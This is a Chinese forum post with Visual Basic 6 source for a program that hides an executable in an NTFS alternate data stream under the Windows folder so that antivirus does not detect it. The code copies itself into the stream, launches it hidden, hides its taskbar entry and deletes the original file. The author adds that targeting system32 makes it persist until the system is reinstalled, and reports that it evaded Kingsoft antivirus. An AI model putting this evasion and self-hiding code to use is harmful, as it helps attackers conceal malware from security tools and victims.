只是偷懒闲的无聊,偶尔发现有个老文章说NTFS数据流可以对EXE文件进行免杀及隐藏!所以进行测试了下,以下只是举个例子具体希望大家一起讨论研究,内容比较简单多多包含!程序本身是免疫的,另外针对数据流只支持NTFS格式,所以加入了判断文件格式,这个效果没测试。因为我虚拟机上装的是freebsd系统
  其次文件只是运行一次。
 将生成出来的文件保存在C盘根目录下名称为1扩展名exe 呵呵。。。。
 XP sp2下测试
 文件格式:NTFS
 然后执行后,程序会在C:\WINDOWS的文件夹产生一个windows文件无扩展名,查看属性内容是0字节,自身在C:\1.exe的程序会自动删除,在无释放多余其他文件!
 检查windows文件流会发现:freebsd.exe$DATA捆绑成功!

 测试方式:
 cmd:start %systemroot%\windows:freebsd.exe
会弹出freebsd.exe的窗口文件!
另外这个只是方便大家测试。
如果把%systemroot%\windows(把windows改成system32就OK了)除非对方重新做系统。
经过测试这种办法的确免杀,但是云查杀是躲不过去的!(程序在运行和产生数据流文件时,金山杀毒没有给出报告,并且我已经开了所有保护!)云查杀是手动的!

代码:
Private Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long  
Option Explicit
Private Sub Form_Load()
If App.PrevInstance Then
      MsgBox "程序以运行过一次", vbOKOnly + vbExclamation, "imformation"
      End
End If
    Dim Serial As Long, VName As String, FSName As String * 255
    GetVolumeInformation "C:\", VName, 255, Serial, 0, 0, FSName, 255
    If Left(FSName, 5) = "FAT32" Then Unload Me  '检测文件格式FAT32的情况下退出程序
    Label1.Caption = "OK"
    Shell "cmd /c type c:\1.exe >%systemroot%\windows:freebsd.exe", 0 '调用CMD下执行命令
    Shell "cmd /c start %systemroot%\windows:freebsd.exe", 0 '运行数据流文件
    App.TaskVisible = False '应用程序下隐藏
    'Call HideCurrentProcess ''进程隐藏(包含了一个模块)
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   Shell "cmd /c del " & App.EXEName & ".exe" '删除程序自身
End Sub